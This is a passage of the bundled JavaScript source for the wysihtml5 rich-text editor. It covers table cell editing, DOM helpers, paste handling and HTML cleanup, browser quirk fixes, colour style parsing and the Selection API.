}\n        },\n\n        addColumn: function(where) {\n            var row, modCell;\n\n            this.setTableMap();\n            this.idx = this.getMapIndex(this.cell);\n            if (where == \"after\" && api.getAttribute(this.cell, 'colspan')) {\n              this.idx.col = this.idx.col + parseInt(api.getAttribute(this.cell, 'colspan'), 10) - 1;\n            }\n\n            if (this.idx !== false) {\n                for (var ridx = 0, rmax = this.map.length; ridx < rmax; ridx++ ) {\n                    row = this.map[ridx];\n                    if (row[this.idx.col]) {\n                        modCell = row[this.idx.col];\n                        if (!modCell.modified) {\n                            this.setCellAsModified(modCell);\n                            this.addColCell(modCell, ridx , where);\n                        }\n                    }\n                }\n            }\n        },\n\n        handleCellAddWithRowspan: function (cell, ridx, where) {\n            var addRowsNr = parseInt(api.getAttribute(this.cell, 'rowspan'), 10) - 1,\n                crow = api.getParentElement(cell.el, { nodeName: [\"TR\"] }),\n                cType = cell.el.tagName.toLowerCase(),\n                cidx, temp_r_cells,\n                doc = this.table.ownerDocument,\n                nrow;\n\n            for (var i = 0; i < addRowsNr; i++) {\n                cidx = this.correctColIndexForUnreals(this.idx.col, (ridx + i));\n                crow = nextNode(crow, 'tr');\n                if (crow) {\n                    if (cidx > 0) {\n                        switch (where) {\n                            case \"before\":\n                                temp_r_cells = this.getRowCells(crow);\n                                if (cidx > 0 && this.map[ridx + i][this.idx.col].el != temp_r_cells[cidx] && cidx == temp_r_cells.length - 1) {\n                                     insertAfter(temp_r_cells[cidx], this.createCells(cType, 1));\n                                } else {\n                                    temp_r_cells[cidx].parentNode.insertBefore(this.createCells(cType, 1), temp_r_cells[cidx]);\n                                }\n\n                            break;\n                            case \"after\":\n                                insertAfter(this.getRowCells(crow)[cidx], this.createCells(cType, 1));\n                            break;\n                        }\n                    } else {\n                        crow.insertBefore(this.createCells(cType, 1), crow.firstChild);\n                    }\n                } else {\n                    nrow = doc.createElement('tr');\n                    nrow.appendChild(this.createCells(cType, 1));\n                    this.table.appendChild(nrow);\n                }\n            }\n        }\n    };\n\n    api.table = {\n        getCellsBetween: function(cell1, cell2) {\n            var c1 = new TableModifyerByCell(cell1);\n            return c1.getMapElsTo(cell2);\n        },\n\n        addCells: function(cell, where) {\n            var c = new TableModifyerByCell(cell);\n            c.add(where);\n        },\n\n        removeCells: function(cell, what) {\n            var c = new TableModifyerByCell(cell);\n            c.remove(what);\n        },\n\n        mergeCellsBetween: function(cell1, cell2) {\n            var c1 = new TableModifyerByCell(cell1);\n            c1.merge(cell2);\n        },\n\n        unmergeCell: function(cell) {\n            var c = new TableModifyerByCell(cell);\n            c.unmerge();\n        },\n\n        orderSelectionEnds: function(cell, cell2) {\n            var c = new TableModifyerByCell(cell);\n            return c.orderSelectionEnds(cell2);\n        },\n\n        indexOf: function(cell) {\n            var c = new TableModifyerByCell(cell);\n            c.setTableMap();\n            return c.getMapIndex(cell);\n        },\n\n        findCell: function(table, idx) {\n            var c = new TableModifyerByCell(null, table);\n            return c.getElementAtIndex(idx);\n        },\n\n        findRowByCell: function(cell) {\n            var c = new TableModifyerByCell(cell);\n            return c.getRowElementsByCell();\n        },\n\n        findColumnByCell: function(cell) {\n            var c = new TableModifyerByCell(cell);\n            return c.getColumnElementsByCell();\n        },\n\n        canMerge: function(cell1, cell2) {\n            var c = new TableModifyerByCell(cell1);\n            return c.canMerge(cell2);\n        }\n    };\n\n\n\n})(wysihtml5);\n;// does a selector query on element or array of elements\n\nwysihtml5.dom.query = function(elements, query) {\n    var ret = [],\n        q;\n\n    if (elements.nodeType) {\n        elements = [elements];\n    }\n\n    for (var e = 0, len = elements.length; e < len; e++) {\n        q = elements[e].querySelectorAll(query);\n        if (q) {\n            for(var i = q.length; i--; ret.unshift(q[i]));\n        }\n    }\n    return ret;\n};\n;wysihtml5.dom.compareDocumentPosition = (function() {\n  var documentElement = document.documentElement;\n  if (documentElement.compareDocumentPosition) {\n    return function(container, element) {\n      return container.compareDocumentPosition(element);\n    };\n  } else {\n    return function( container, element ) {\n      // implementation borrowed from https://github.com/tmpvar/jsdom/blob/681a8524b663281a0f58348c6129c8c184efc62c/lib/jsdom/level3/core.js // MIT license\n      var thisOwner, otherOwner;\n\n      if( container.nodeType === 9) // Node.DOCUMENT_NODE\n        thisOwner = container;\n      else\n        thisOwner = container.ownerDocument;\n\n      if( element.nodeType === 9) // Node.DOCUMENT_NODE\n        otherOwner = element;\n      else\n        otherOwner = element.ownerDocument;\n\n      if( container === element ) return 0;\n      if( container === element.ownerDocument ) return 4 + 16; //Node.DOCUMENT_POSITION_FOLLOWING + Node.DOCUMENT_POSITION_CONTAINED_BY;\n      if( container.ownerDocument === element ) return 2 + 8;  //Node.DOCUMENT_POSITION_PRECEDING + Node.DOCUMENT_POSITION_CONTAINS;\n      if( thisOwner !== otherOwner ) return 1; // Node.DOCUMENT_POSITION_DISCONNECTED;\n\n      // Text nodes for attributes does not have a _parentNode. So we need to find them as attribute child.\n      if( container.nodeType === 2 /*Node.ATTRIBUTE_NODE*/ && container.childNodes && wysihtml5.lang.array(container.childNodes).indexOf( element ) !== -1)\n        return 4 + 16; //Node.DOCUMENT_POSITION_FOLLOWING + Node.DOCUMENT_POSITION_CONTAINED_BY;\n\n      if( element.nodeType === 2 /*Node.ATTRIBUTE_NODE*/ && element.childNodes && wysihtml5.lang.array(element.childNodes).indexOf( container ) !== -1)\n        return 2 + 8; //Node.DOCUMENT_POSITION_PRECEDING + Node.DOCUMENT_POSITION_CONTAINS;\n\n      var point = container;\n      var parents = [ ];\n      var previous = null;\n      while( point ) {\n        if( point == element ) return 2 + 8; //Node.DOCUMENT_POSITION_PRECEDING + Node.DOCUMENT_POSITION_CONTAINS;\n        parents.push( point );\n        point = point.parentNode;\n      }\n      point = element;\n      previous = null;\n      while( point ) {\n        if( point == container ) return 4 + 16; //Node.DOCUMENT_POSITION_FOLLOWING + Node.DOCUMENT_POSITION_CONTAINED_BY;\n        var location_index = wysihtml5.lang.array(parents).indexOf( point );\n        if( location_index !== -1) {\n         var smallest_common_ancestor = parents[ location_index ];\n         var this_index = wysihtml5.lang.array(smallest_common_ancestor.childNodes).indexOf( parents[location_index - 1]);//smallest_common_ancestor.childNodes.toArray().indexOf( parents[location_index - 1] );\n         var other_index = wysihtml5.lang.array(smallest_common_ancestor.childNodes).indexOf( previous ); //smallest_common_ancestor.childNodes.toArray().indexOf( previous );\n         if( this_index > other_index ) {\n               return 2; //Node.DOCUMENT_POSITION_PRECEDING;\n         }\n         else {\n           return 4; //Node.DOCUMENT_POSITION_FOLLOWING;\n         }\n        }\n        previous = point;\n        point = point.parentNode;\n      }\n      return 1; //Node.DOCUMENT_POSITION_DISCONNECTED;\n    };\n  }\n})();\n;wysihtml5.dom.unwrap = function(node) {\n  if (node.parentNode) {\n    while (node.lastChild) {\n      wysihtml5.dom.insert(node.lastChild).after(node);\n    }\n    node.parentNode.removeChild(node);\n  }\n};;/* \n * Methods for fetching pasted html before it gets inserted into content\n**/\n\n/* Modern event.clipboardData driven approach.\n * Advantage is that it does not have to loose selection or modify dom to catch the data. \n * IE does not support though.\n**/\nwysihtml5.dom.getPastedHtml = function(event) {\n  var html;\n  if (event.clipboardData) {\n    if (wysihtml5.lang.array(event.clipboardData.types).contains('text/html')) {\n      html = event.clipboardData.getData('text/html');\n    } else if (wysihtml5.lang.array(event.clipboardData.types).contains('text/plain')) {\n      html = wysihtml5.lang.string(event.clipboardData.getData('text/plain')).escapeHTML(true, true);\n    }\n  }\n  return html;\n};\n\n/* Older temprorary contenteditable as paste source catcher method for fallbacks */\nwysihtml5.dom.getPastedHtmlWithDiv = function (composer, f) {\n  var selBookmark = composer.selection.getBookmark(),\n      doc = composer.element.ownerDocument,\n      cleanerDiv = doc.createElement('DIV');\n  \n  doc.body.appendChild(cleanerDiv);\n\n  cleanerDiv.style.width = \"1px\";\n  cleanerDiv.style.height = \"1px\";\n  cleanerDiv.style.overflow = \"hidden\";\n\n  cleanerDiv.setAttribute('contenteditable', 'true');\n  cleanerDiv.focus();\n\n  setTimeout(function () {\n    composer.selection.setBookmark(selBookmark);\n    f(cleanerDiv.innerHTML);\n    cleanerDiv.parentNode.removeChild(cleanerDiv);\n  }, 0);\n};;/**\n * Fix most common html formatting misbehaviors of browsers implementation when inserting\n * content via copy & paste contentEditable\n *\n * @author Christopher Blum\n */\nwysihtml5.quirks.cleanPastedHTML = (function() {\n\n  var styleToRegex = function (styleStr) {\n    var trimmedStr = wysihtml5.lang.string(styleStr).trim(),\n        escapedStr = trimmedStr.replace(/[\\-\\[\\]\\/\\{\\}\\(\\)\\*\\+\\?\\.\\\\\\^\\$\\|]/g, \"\\\\$&\");\n\n    return new RegExp(\"^((?!^\" + escapedStr + \"$).)*$\", \"i\");\n  };\n\n  var extendRulesWithStyleExceptions = function (rules, exceptStyles) {\n    var newRules = wysihtml5.lang.object(rules).clone(true),\n        tag, style;\n\n    for (tag in newRules.tags) {\n\n      if (newRules.tags.hasOwnProperty(tag)) {\n        if (newRules.tags[tag].keep_styles) {\n          for (style in newRules.tags[tag].keep_styles) {\n            if (newRules.tags[tag].keep_styles.hasOwnProperty(style)) {\n              if (exceptStyles[style]) {\n                newRules.tags[tag].keep_styles[style] = styleToRegex(exceptStyles[style]);\n              }\n            }\n          }\n        }\n      }\n    }\n\n    return newRules;\n  };\n\n  var pickRuleset = function(ruleset, html) {\n    var pickedSet, defaultSet;\n\n    if (!ruleset) {\n      return null;\n    }\n\n    for (var i = 0, max = ruleset.length; i < max; i++) {\n      if (!ruleset[i].condition) {\n        defaultSet = ruleset[i].set;\n      }\n      if (ruleset[i].condition && ruleset[i].condition.test(html)) {\n        return ruleset[i].set;\n      }\n    }\n\n    return defaultSet;\n  };\n\n  return function(html, options) {\n    var exceptStyles = {\n          'color': wysihtml5.dom.getStyle(\"color\").from(options.referenceNode),\n          'fontSize': wysihtml5.dom.getStyle(\"font-size\").from(options.referenceNode)\n        },\n        rules = extendRulesWithStyleExceptions(pickRuleset(options.rules, html) || {}, exceptStyles),\n        newHtml;\n\n    newHtml = wysihtml5.dom.parse(html, {\n      \"rules\": rules,\n      \"cleanUp\": true, // <span> elements, empty or without attributes, should be removed/replaced with their content\n      \"context\": options.referenceNode.ownerDocument,\n      \"uneditableClass\": options.uneditableClass,\n      \"clearInternals\" : true, // don't paste temprorary selection and other markings\n      \"unjoinNbsps\" : true\n    });\n\n    return newHtml;\n  };\n\n})();;/**\n * IE and Opera leave an empty paragraph in the contentEditable element after clearing it\n *\n * @param {Object} contentEditableElement The contentEditable element to observe for clearing events\n * @exaple\n *    wysihtml5.quirks.ensureProperClearing(myContentEditableElement);\n */\nwysihtml5.quirks.ensureProperClearing = (function() {\n  var clearIfNecessary = function() {\n    var element = this;\n    setTimeout(function() {\n      var innerHTML = element.innerHTML.toLowerCase();\n      if (innerHTML == \"<p>&nbsp;</p>\" ||\n          innerHTML == \"<p>&nbsp;</p><p>&nbsp;</p>\") {\n        element.innerHTML = \"\";\n      }\n    }, 0);\n  };\n\n  return function(composer) {\n    wysihtml5.dom.observe(composer.element, [\"cut\", \"keydown\"], clearIfNecessary);\n  };\n})();\n;// See https://bugzilla.mozilla.org/show_bug.cgi?id=664398\n//\n// In Firefox this:\n//      var d = document.createElement(\"div\");\n//      d.innerHTML ='<a href=\"~\"></a>';\n//      d.innerHTML;\n// will result in:\n//      <a href=\"%7E\"></a>\n// which is wrong\n(function(wysihtml5) {\n  var TILDE_ESCAPED = \"%7E\";\n  wysihtml5.quirks.getCorrectInnerHTML = function(element) {\n    var innerHTML = element.innerHTML;\n    if (innerHTML.indexOf(TILDE_ESCAPED) === -1) {\n      return innerHTML;\n    }\n\n    var elementsWithTilde = element.querySelectorAll(\"[href*='~'], [src*='~']\"),\n        url,\n        urlToSearch,\n        length,\n        i;\n    for (i=0, length=elementsWithTilde.length; i<length; i++) {\n      url         = elementsWithTilde[i].href || elementsWithTilde[i].src;\n      urlToSearch = wysihtml5.lang.string(url).replace(\"~\").by(TILDE_ESCAPED);\n      innerHTML   = wysihtml5.lang.string(innerHTML).replace(urlToSearch).by(url);\n    }\n    return innerHTML;\n  };\n})(wysihtml5);\n;/**\n * Force rerendering of a given element\n * Needed to fix display misbehaviors of IE\n *\n * @param {Element} element The element object which needs to be rerendered\n * @example\n *    wysihtml5.quirks.redraw(document.body);\n */\n(function(wysihtml5) {\n  var CLASS_NAME = \"wysihtml5-quirks-redraw\";\n\n  wysihtml5.quirks.redraw = function(element) {\n    wysihtml5.dom.addClass(element, CLASS_NAME);\n    wysihtml5.dom.removeClass(element, CLASS_NAME);\n\n    // Following hack is needed for firefox to make sure that image resize handles are properly removed\n    try {\n      var doc = element.ownerDocument;\n      doc.execCommand(\"italic\", false, null);\n      doc.execCommand(\"italic\", false, null);\n    } catch(e) {}\n  };\n})(wysihtml5);\n;wysihtml5.quirks.tableCellsSelection = function(editable, editor) {\n\n    var dom = wysihtml5.dom,\n        select = {\n            table: null,\n            start: null,\n            end: null,\n            cells: null,\n            select: selectCells\n        },\n        selection_class = \"wysiwyg-tmp-selected-cell\",\n        moveHandler = null,\n        upHandler = null;\n\n    function init () {\n\n        dom.observe(editable, \"mousedown\", function(event) {\n          var target = wysihtml5.dom.getParentElement(event.target, { nodeName: [\"TD\", \"TH\"] });\n          if (target) {\n              handleSelectionMousedown(target);\n          }\n        });\n\n        return select;\n    }\n\n    function handleSelectionMousedown (target) {\n      select.start = target;\n      select.end = target;\n      select.cells = [target];\n      select.table = dom.getParentElement(select.start, { nodeName: [\"TABLE\"] });\n\n      if (select.table) {\n        removeCellSelections();\n        dom.addClass(target, selection_class);\n        moveHandler = dom.observe(editable, \"mousemove\", handleMouseMove);\n        upHandler = dom.observe(editable, \"mouseup\", handleMouseUp);\n        editor.fire(\"tableselectstart\").fire(\"tableselectstart:composer\");\n      }\n    }\n\n    // remove all selection classes\n    function removeCellSelections () {\n        if (editable) {\n            var selectedCells = editable.querySelectorAll('.' + selection_class);\n            if (selectedCells.length > 0) {\n              for (var i = 0; i < selectedCells.length; i++) {\n                  dom.removeClass(selectedCells[i], selection_class);\n              }\n            }\n        }\n    }\n\n    function addSelections (cells) {\n      for (var i = 0; i < cells.length; i++) {\n        dom.addClass(cells[i], selection_class);\n      }\n    }\n\n    function handleMouseMove (event) {\n      var curTable = null,\n          cell = dom.getParentElement(event.target, { nodeName: [\"TD\",\"TH\"] }),\n          oldEnd;\n\n      if (cell && select.table && select.start) {\n        curTable =  dom.getParentElement(cell, { nodeName: [\"TABLE\"] });\n        if (curTable && curTable === select.table) {\n          removeCellSelections();\n          oldEnd = select.end;\n          select.end = cell;\n          select.cells = dom.table.getCellsBetween(select.start, cell);\n          if (select.cells.length > 1) {\n            editor.composer.selection.deselect();\n          }\n          addSelections(select.cells);\n          if (select.end !== oldEnd) {\n            editor.fire(\"tableselectchange\").fire(\"tableselectchange:composer\");\n          }\n        }\n      }\n    }\n\n    function handleMouseUp (event) {\n      moveHandler.stop();\n      upHandler.stop();\n      editor.fire(\"tableselect\").fire(\"tableselect:composer\");\n      setTimeout(function() {\n        bindSideclick();\n      },0);\n    }\n\n    function bindSideclick () {\n        var sideClickHandler = dom.observe(editable.ownerDocument, \"click\", function(event) {\n          sideClickHandler.stop();\n          if (dom.getParentElement(event.target, { nodeName: [\"TABLE\"] }) != select.table) {\n              removeCellSelections();\n              select.table = null;\n              select.start = null;\n              select.end = null;\n              editor.fire(\"tableunselect\").fire(\"tableunselect:composer\");\n          }\n        });\n    }\n\n    function selectCells (start, end) {\n        select.start = start;\n        select.end = end;\n        select.table = dom.getParentElement(select.start, { nodeName: [\"TABLE\"] });\n        selectedCells = dom.table.getCellsBetween(select.start, select.end);\n        addSelections(selectedCells);\n        bindSideclick();\n        editor.fire(\"tableselect\").fire(\"tableselect:composer\");\n    }\n\n    return init();\n\n};\n;(function(wysihtml5) {\n  var RGBA_REGEX     = /^rgba\\(\\s*(\\d{1,3})\\s*,\\s*(\\d{1,3})\\s*,\\s*(\\d{1,3})\\s*,\\s*([\\d\\.]+)\\s*\\)/i,\n      RGB_REGEX      = /^rgb\\(\\s*(\\d{1,3})\\s*,\\s*(\\d{1,3})\\s*,\\s*(\\d{1,3})\\s*\\)/i,\n      HEX6_REGEX     = /^#([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])/i,\n      HEX3_REGEX     = /^#([0-9a-f])([0-9a-f])([0-9a-f])/i;\n\n  var param_REGX = function (p) {\n    return new RegExp(\"(^|\\\\s|;)\" + p + \"\\\\s*:\\\\s*[^;$]+\" , \"gi\");\n  };\n\n  wysihtml5.quirks.styleParser = {\n\n    parseColor: function(stylesStr, paramName) {\n      var paramRegex = param_REGX(paramName),\n          params = stylesStr.match(paramRegex),\n          radix = 10,\n          str, colorMatch;\n\n      if (params) {\n        for (var i = params.length; i--;) {\n          params[i] = wysihtml5.lang.string(params[i].split(':')[1]).trim();\n        }\n        str = params[params.length-1];\n\n        if (RGBA_REGEX.test(str)) {\n          colorMatch = str.match(RGBA_REGEX);\n        } else if (RGB_REGEX.test(str)) {\n          colorMatch = str.match(RGB_REGEX);\n        } else if (HEX6_REGEX.test(str)) {\n          colorMatch = str.match(HEX6_REGEX);\n          radix = 16;\n        } else if (HEX3_REGEX.test(str)) {\n          colorMatch = str.match(HEX3_REGEX);\n          colorMatch.shift();\n          colorMatch.push(1);\n          return wysihtml5.lang.array(colorMatch).map(function(d, idx) {\n            return (idx < 3) ? (parseInt(d, 16) * 16) + parseInt(d, 16): parseFloat(d);\n          });\n        }\n\n        if (colorMatch) {\n          colorMatch.shift();\n          if (!colorMatch[3]) {\n            colorMatch.push(1);\n          }\n          return wysihtml5.lang.array(colorMatch).map(function(d, idx) {\n            return (idx < 3) ? parseInt(d, radix): parseFloat(d);\n          });\n        }\n      }\n      return false;\n    },\n\n    unparseColor: function(val, props) {\n      if (props) {\n        if (props == \"hex\") {\n          return (val[0].toString(16).toUpperCase()) + (val[1].toString(16).toUpperCase()) + (val[2].toString(16).toUpperCase());\n        } else if (props == \"hash\") {\n          return \"#\" + (val[0].toString(16).toUpperCase()) + (val[1].toString(16).toUpperCase()) + (val[2].toString(16).toUpperCase());\n        } else if (props == \"rgb\") {\n          return \"rgb(\" + val[0] + \",\" + val[1] + \",\" + val[2] + \")\";\n        } else if (props == \"rgba\") {\n          return \"rgba(\" + val[0] + \",\" + val[1] + \",\" + val[2] + \",\" + val[3] + \")\";\n        } else if (props == \"csv\") {\n          return  val[0] + \",\" + val[1] + \",\" + val[2] + \",\" + val[3];\n        }\n      }\n\n      if (val[3] && val[3] !== 1) {\n        return \"rgba(\" + val[0] + \",\" + val[1] + \",\" + val[2] + \",\" + val[3] + \")\";\n      } else {\n        return \"rgb(\" + val[0] + \",\" + val[1] + \",\" + val[2] + \")\";\n      }\n    },\n\n    parseFontSize: function(stylesStr) {\n      var params = stylesStr.match(param_REGX('font-size'));\n      if (params) {\n        return wysihtml5.lang.string(params[params.length - 1].split(':')[1]).trim();\n      }\n      return false;\n    }\n  };\n\n})(wysihtml5);\n;/**\n * Selection API\n *\n * @example\n *    var selection = new wysihtml5.Selection(editor);\n */\n(function(wysihtml5) {\n  var dom = wysihtml5.dom;\n\n  function _getCumulativeOffsetTop(element) {\n    var top = 0;\n    if (element.parentNode) {\n      do {\n        top += element.offsetTop || 0;\n        element = element.offsetParent;\n      } while (element);\n    }\n    return top;\n  }\n\n  // Provides the depth of ``descendant`` relative to ``ancestor``\n  function getDepth(ancestor, descendant) {\n      var ret = 0;\n      while (descendant !== ancestor) {\n          ret++;\n          descendant = descendant.parentNode;\n          if (!descendant)\n              throw new Error(\"not a descendant of ancestor!\");\n      }\n      return ret;\n  }\n\n  // Should fix the obtained ranges that cannot surrond contents normally to apply changes upon\n  // Being considerate to firefox that sets range start start out of span and end inside on doubleclick initiated selection\n  function expandRangeToSurround(range) {\n      if (range.canSurroundContents()) return;\n\n      var common = range.commonAncestorContainer,\n          start_depth = getDepth(common, range.startContainer),\n          end_depth = getDepth(common, range.endContainer);\n\n      while(!range.canSurroundContents()) {\n        // In the following branches, we cannot just decrement the depth variables because the setStartBefore/setEndAfter may move the start or end of the range more than one level relative to ``common``. So we need to recompute the depth.\n        if (start_depth > end_depth) {\n            range.setStartBefore(range.startContainer);\n            start_depth = getDepth(common, range.startContainer);\n        }\n        else {\n            range.setEndAfter(range.endContainer);\n            end_depth = getDepth(common, range.endContainer);\n        }\n      }\n  }\n\n  wysihtml5.Selection = Base.extend(\n    /** @scope wysihtml5.Selection.prototype */ {\n    constructor: function(editor, contain, unselectableClass) {\n      // Make sure that our external range library is initialized\n      window.rangy.init();\n\n      this.editor   = editor;\n      this.composer = editor.composer;\n      this.doc      = this.composer.doc;\n      this.contain = contain;\n      this.unselectableClass = unselectableClass || false;\n    },\n\n    /**\n     * Get the current selection as a bookmark to be able to later restore it\n     *\n     * @return {Object} An object that represents the current selection\n     */\n    getBookmark: function() {\n      var range = this.getRange();\n      if (range) expandRangeToSurround(range);\n      return range && range.cloneRange();\n    },\n\n    /**\n     * Restore a selection retrieved via wysihtml5.Selection.prototype.getBookmark\n     *\n     * @param {Object} bookmark An object that represents the current selection\n     */\n    setBookmark: function(bookmark) {\n      if (!bookmark) {\n        return;\n      }\n\n      this.setSelection(bookmark);\n    },\n\n    /**\n     * Set the caret in front of the given node\n     *\n     * @param {Object} node The element or text node where to position the caret in front of\n     * @example\n     *    selection.setBefore(myElement);\n     */\n    setBefore: function(node) {\n      var range = rangy.createRange(this.doc);\n      range.setStartBefore(node);\n      range.setEndBefore(node);\n      return this.setSelection(range);\n    },\n\n    /**\n     * Set the caret after the given node\n     *\n     * @param {Object} node The element or text node where to position the caret in front of\n     * @example\n     *    selection.setBefore(myElement);\n     */\n    setAfter: function(node) {\n      var range = rangy.createRange(this.doc);\n\n      range.setStartAfter(node);\n      range.setEndAfter(node);\n      return this.setSelection(range);\n    },\n\n    /**\n     * Ability to select/mark nodes\n     *\n     * @param {Element} node The node/element to select\n     * @example\n     *    selection.selectNode(document.getElementById(\"my-image\"));\n     */\n    selectNode: function(node, avoidInvisibleSpace) {\n      var range           = rangy.createRange(this.doc),\n          isElement       = node.nodeType === wysihtml5.ELEMENT_NODE,\n          canHaveHTML     = \"canHaveHTML\" in node ? node.canHaveHTML : (node.nodeName !== \"IMG\"),\n          content         = isElement ? node.innerHTML : node.data,\n          isEmpty         = (content === \"\" || content === wysihtml5.INVISIBLE_SPACE),\n          displayStyle    = dom.getStyle(\"display\").from(node),\n          isBlockElement  = (displayStyle === \"block\" || displayStyle === \"list-item\");\n\n      if (isEmpty && isElement && canHaveHTML && !avoidInvisibleSpace) {\n        // Make sure that caret is visible in node by inserting a zero width no breaking space\n        try { node.innerHTML = wysihtml5.INVISIBLE_SPACE; } catch(e) {}\n      }\n\n      if (canHaveHTML) {\n        range.selectNodeContents(node);\n      } else {\n        range.selectNode(node);\n      }\n\n      if (canHaveHTML && isEmpty && isElement) {\n        range.collapse(isBlockElement);\n      } else if (canHaveHTML && isEmpty) {\n        range.setStartAfter(node);\n        range.setEndAfter(node);\n      }\n\n      this.setSelection(range);\n    },\n\n    /**\n     * Get the node which contains the selection\n     *\n     * @param {Boolean} [controlRange] (only IE) Whether it should return the selected ControlRange element when the selection type is a \"ControlRange\"\n     * @return {Object} The node that contains the caret\n     * @example\n     *    var nodeThatContainsCaret = selection.getSelectedNode();\n     */\n    getSelectedNode: function(controlRange) {\n      var selection,\n          range;\n\n      if (controlRange && this.doc.selection && this.doc.selection.type === \"Control\") {\n        range = this.doc.selection.createRange();\n        if (range && range.length) {\n          return range.item(0);\n        }\n      }\n\n      selection = this.getSelection(this.doc);\n      if (selection.focusNode === selection.anchorNode) {\n        return selection.focusNode;\n      } else {\n        range = this.getRange(this.doc);\n        return range ? range.commonAncestorContainer : this.doc.body;\n      }\n    },\n\n    fixSelBorders: function() {\n      var range = this.getRange();\n      expandRangeToSurround(range);\n      this.setSelection(range);\n    },\n\n    getSelectedOwnNodes: function(controlRange) {\n      var selection,\n          ranges = this.getOwnRanges(),\n          ownNodes = [];\n\n      for (var i = 0, maxi = ranges.length; i < maxi; i++) {\n          ownNodes.push(ranges[i].commonAncestorContainer || this.doc.body);\n      }\n      return ownNodes;\n    },\n\n    findNodesInSelection: function(nodeTypes) {\n      var ranges = this.getOwnRanges(),\n          nodes = [], curNodes;\n      for (var i = 0, maxi = ranges.length; i < maxi; i++) {\n        curNodes = ranges[i].getNodes([1], function(node) {\n            return wysihtml5.lang.array(nodeTypes).contains(node.nodeName);\n        });\n        nodes = nodes.concat(curNodes);\n      }\n      return nodes;\n    },\n\n    containsUneditable: function() {\n      var uneditables = this.getOwnUneditables(),\n          selection = this.getSelection();\n\n      for (var i = 0, maxi = uneditables.length; i < maxi; i++) {\n        if (selection.containsNode(uneditables[i])) {\n          return true;\n        }\n      }\n\n      return false;\n    },\n\n    deleteContents: function()  {\n      var ranges = this.getOwnRanges();\n      for (var i = ranges.length; i--;) {\n        ranges[i].deleteContents();\n      }\n      this.setSelection(ranges[0]);\n    },\n\n    getPreviousNode: function(node, ignoreEmpty) {\n      if (!node) {\n        var selection = this.getSelection();\n        node = selection.anchorNode;\n      }\n\n      if (node === this.contain) {\n          return false;\n      }\n\n      var ret = node.previousSibling,\n          parent;\n\n      if (ret === this.contain) {\n          return false;\n      }\n\n      if (ret && ret.nodeType !== 3 && ret.nodeType !== 1) {\n         // do not count comments and other node types\n         ret = this.getPreviousNode(ret, ignoreEmpty);\n      } else if (ret && ret.nodeType === 3 && (/^\\s*$/).test(ret.textContent)) {\n        // do not count empty textnodes as previus nodes\n        ret = this.getPreviousNode(ret, ignoreEmpty);\n      } else if (ignoreEmpty && ret && ret.nodeType === 1 && !wysihtml5.lang.array([\"BR\", \"HR\", \"IMG\"]).contains(ret.nodeName) && (/^[\\s]*$/).test(ret.innerHTML)) {\n        // Do not count empty nodes if param set.\n        // Contenteditable tends to bypass and delete these silently when deleting with caret\n        ret = this.getPreviousNode(ret, ignoreEmpty);\n      } else if (!ret && node !== this.contain) {\n        parent = node.parentNode;\n        if (parent !== this.contain) {\n            ret = this.getPreviousNode(parent, ignoreEmpty);\n        }\n      }\n\n      return (ret !== this.contain) ? ret : false;\n    },\n\n    getSelectionParentsByTag: function(tagName) {\n      var nodes = this.getSelectedOwnNodes(),\n          curEl, parents = [];\n\n      for (var i = 0, maxi = nodes.length; i < maxi; i++) {\n        curEl = (nodes[i].nodeName &&  nodes[i].nodeName === 'LI') ? nodes[i] : wysihtml5.dom.getParentElement(nodes[i], { nodeName: ['LI']}, false, this.contain);\n        if (curEl) {\n          parents.push(curEl);\n        }\n      }\n      return (parents.length) ? parents : null;\n    },\n\n    getRangeToNodeEnd: function() {\n      if (this.isCollapsed()) {\n        var range = this.getRange(),\n            sNode = range.startContainer,\n            pos = range.startOffset,\n            lastR = rangy.createRange(this.doc);\n\n        lastR.selectNodeContents(sNode);\n        lastR.setStart(sNode, pos);\n        return lastR;\n      }\n    },\n\n    caretIsLastInSelection: function() {\n      var r = rangy.createRange(this.doc),\n          s = this.getSelection(),\n          endc = this.getRangeToNodeEnd().cloneContents(),\n          endtxt = endc.textContent;\n\n      return (/^\\s*$/).test(endtxt);\n    },\n\n    caretIsFirstInSelection: function() {\n      var r = rangy.createRange(this.doc),\n          s = this.getSelection(),\n          range = this.getRange(),\n          startNode = range.startContainer;\n      \n      if (startNode.nodeType === wysihtml5.TEXT_NODE) {\n        return this.isCollapsed() && (startNode.nodeType === wysihtml5.TEXT_NODE && (/^\\s*$/).test(startNode.data.substr(0,range.startOffset)));\n      } else {\n        r.selectNodeContents(this.getRange().commonAncestorContainer);\n        r.collapse(true);\n        return (this.isCollapsed() && (r.startContainer === s.anchorNode || r.endContainer === s.anchorNode) && r.startOffset === s.anchorOffset);\n      }\n    },\n\n    caretIsInTheBeginnig: function(ofNode) {\n        var selection = this.getSelection(),\n            node = selection.anchorNode,\n            offset = selection.anchorOffset;\n        if (ofNode) {\n          return (offset === 0 && (node.nodeName && node.nodeName === ofNode.toUpperCase() || wysihtml5.dom.getParentElement(node.parentNode, { nodeName: ofNode }, 1)));\n        } else {\n          return (offset === 0 && !this.getPreviousNode(node, true));\n        }\n    },\n\n    caretIsBeforeUneditable: function() {\n      var selection = this.getSelection(),\n          node = selection.anchorNode,\n          offset = selection.anchorOffset;\n\n      if (offset === 0) {\n        var prevNode = this.getPreviousNode(node, true);\n        if (prevNode) {\n          var uneditables = this.getOwnUneditables();\n          for (var i = 0, maxi = uneditables.length; i < maxi; i++) {\n            if (prevNode === uneditables[i]) {\n              return uneditables[i];\n            }\n          }\n        }\n      }\n      return false;\n    },\n\n    // TODO: Figure out a method from following 2 that would work universally\n    executeAndRestoreRangy: function(method, restoreScrollPosition) {\n      var win = this.doc.defaultView || this.doc.parentWindow,\n          sel = rangy.saveSelection(win);\n\n      if (!sel) {\n        method();\n      } else {\n        try {\n          method();\n        } catch(e) {\n          setTimeout(function() { throw e; }, 0);\n        }\n      }\n      rangy.restoreSelection(sel);\n    },\n\n    // TODO: has problems in chrome 12. investigate block level and uneditable area inbetween\n    executeAndRestore: function(method, restoreScrollPosition) {\n      var body                  = this.doc.body,\n          oldScrollTop          = restoreScrollPosition && body.scrollTop,\n          oldScrollLeft         = restoreScrollPosition && body.scrollLeft,\n          className             = \"_wysihtml5-temp-placeholder\",\n          placeholderHtml       = '<span class=\"' + className + '\">' + wysihtml5.INVISIBLE_SPACE + '</span>',\n          range                 = this.getRange(true),\n          caretPlaceholder,\n          newCaretPlaceholder,\n          nextSibling, prevSibling,\n          node, node2, range2,\n          newRange;\n\n      // Nothing selected, execute and say goodbye\n      if (!range) {\n        method(body, body);\n        